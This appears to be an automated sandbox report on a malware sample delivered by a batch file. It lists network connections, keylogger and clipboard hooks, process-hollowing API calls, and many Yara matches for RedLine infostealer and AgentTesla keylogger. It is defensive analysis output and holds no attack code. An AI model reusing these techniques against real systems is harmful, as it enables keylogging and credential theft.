Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 50.116.93.185:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.116.93.185:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.116.93.185:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49752 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, SKTzxzsJw.cs

.Net Code: _71ZRqC1D

Installs a global keyboard hook

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Windows user hook set: 0 keyboard low level C:\Users\Public\Libraries\xrbjyllC.pif	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Windows user hook set: 0 keyboard low level C:\Users\Public\Libraries\xrbjyllC.pif
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Windows user hook set: 0 keyboard low level C:\Users\Public\Libraries\xrbjyllC.pif

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Window created: window name: CLIPBRDWNDCLASS

Source: Yara match

File source: Process Memory Space: x.exe PID: 4888, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.1.xrbjyllC.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.1.xrbjyllC.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.xrbjyllC.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.xrbjyllC.pif.29a80000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.29a80000.9.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2ace5190.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2ace5190.6.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c240000.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c240000.7.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.25040000.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.25040000.9.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.23765190.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.23765190.8.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.29a80000.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.29a80000.9.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.27fa5190.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.27fa5190.8.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c240ee8.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c240ee8.8.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.1.xrbjyllC.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.25040000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.25040000.9.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26affca6.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26affca6.4.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.27fa5190.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.27fa5190.8.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22680ee8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22680ee8.7.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.1.xrbjyllC.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.xrbjyllC.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.1.xrbjyllC.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22130b8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22130b8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c240000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c240000.7.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22130b8e.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22130b8e.5.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c980000.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.2c980000.9.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22680ee8.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22680ee8.7.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22680000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22680000.6.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.3.xrbjyllC.pif.24f7d9c8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.3.xrbjyllC.pif.24f7d9c8.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.23765190.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.23765190.8.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.299f0b8e.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.299f0b8e.4.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26b00b8e.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26b00b8e.5.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.299efca6.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.299efca6.5.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xrbjyllC.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.1.xrbjyllC.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26ec0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26ec0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26ec0000.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26ec0000.7.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.2212fca6.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.2212fca6.4.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xrbjyllC.pif.299efca6.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xrbjyllC.pif.299efca6.5.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.2212fca6.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.2212fca6.4.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26affca6.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.xrbjyllC.pif.26affca6.4.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22680000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.xrbjyllC.pif.22680000.6.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 00000009.00000002.1859312320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000011.00000002.2918780561.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0000000B.00000002.2004085524.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 00000011.00000001.1996288631.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen

Found large BAT file

Source: z1Transaction_ID_REF2418_cmd.bat

Static file information: 1139107

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D8670 NtUnmapViewOfSection,	3_2_031D8670
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D8400 NtReadVirtualMemory,	3_2_031D8400
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D7A2C NtAllocateVirtualMemory,	3_2_031D7A2C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D7D78 NtWriteVirtualMemory,	3_2_031D7D78
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D8D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	3_2_031D8D70
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031DDD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	3_2_031DDD70
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031DDC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	3_2_031DDC04
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031DDC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	3_2_031DDC8C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031DDBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	3_2_031DDBB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D7A2A NtAllocateVirtualMemory,	3_2_031D7A2A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D8D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	3_2_031D8D6E
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031B8670 NtUnmapViewOfSection,	10_2_031B8670
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031B8400 NtReadVirtualMemory,	10_2_031B8400
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031B7A2C NtAllocateVirtualMemory,	10_2_031B7A2C
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031B7D78 NtWriteVirtualMemory,	10_2_031B7D78
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031B8D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	10_2_031B8D70
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031BDD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	10_2_031BDD70
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031B86F7 NtUnmapViewOfSection,	10_2_031B86F7
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031BDBB0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	10_2_031BDBB0
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031B7A2A NtAllocateVirtualMemory,	10_2_031B7A2A
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031B7AC9 NtAllocateVirtualMemory,	10_2_031B7AC9
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031B8D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	10_2_031B8D6E
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031BDC04 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	10_2_031BDC04
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031BDC8C RtlDosPathNameToNtPathName_U,NtWriteFile,NtClose,	10_2_031BDC8C
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031A8670 NtUnmapViewOfSection,	16_2_031A8670
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031A8400 NtReadVirtualMemory,	16_2_031A8400
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031A7A2C NtAllocateVirtualMemory,	16_2_031A7A2C
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031A7D78 NtWriteVirtualMemory,	16_2_031A7D78
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031A8D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	16_2_031A8D70
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031ADD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	16_2_031ADD70
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031A86F7 NtUnmapViewOfSection,	16_2_031A86F7
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031ADBB0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	16_2_031ADBB0
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031A7A2A NtAllocateVirtualMemory,	16_2_031A7A2A
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031A7AC9 NtAllocateVirtualMemory,	16_2_031A7AC9
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031A8D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	16_2_031A8D6E
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031ADC04 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	16_2_031ADC04
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031ADC8C RtlDosPathNameToNtPathName_U,NtWriteFile,NtClose,	16_2_031ADC8C

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031D8788 CreateProcessAsUserW,

3_2_031D8788

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031C20C4	3_2_031C20C4
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00408C60	9_2_00408C60
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_0040DC11	9_2_0040DC11
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00407C3F	9_2_00407C3F
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00418CCC	9_2_00418CCC
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00406CA0	9_2_00406CA0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_004028B0	9_2_004028B0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_0041A4BE	9_2_0041A4BE
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00408C60	9_2_00408C60
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00418244	9_2_00418244
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00401650	9_2_00401650
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00402F20	9_2_00402F20
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_004193C4	9_2_004193C4
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00418788	9_2_00418788
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00402F89	9_2_00402F89
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00402B90	9_2_00402B90
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_004073A0	9_2_004073A0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_27F6DA50	9_2_27F6DA50
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_27F6CE38	9_2_27F6CE38
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_27F60FD0	9_2_27F60FD0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_27F6D180	9_2_27F6D180
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_27F61030	9_2_27F61030
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D186748	9_2_2D186748
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D18CFC8	9_2_2D18CFC8
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D1899C0	9_2_2D1899C0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D180040	9_2_2D180040
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D18F278	9_2_2D18F278
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D18F9D2	9_2_2D18F9D2
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D180007	9_2_2D180007
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D18C0E8	9_2_2D18C0E8
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D8157B7	9_2_2D8157B7
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D8109D0	9_2_2D8109D0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D81A8A2	9_2_2D81A8A2
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D81DE38	9_2_2D81DE38
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2D811AC8	9_2_2D811AC8
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2DB81C60	9_2_2DB81C60
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2DB8E720	9_2_2DB8E720
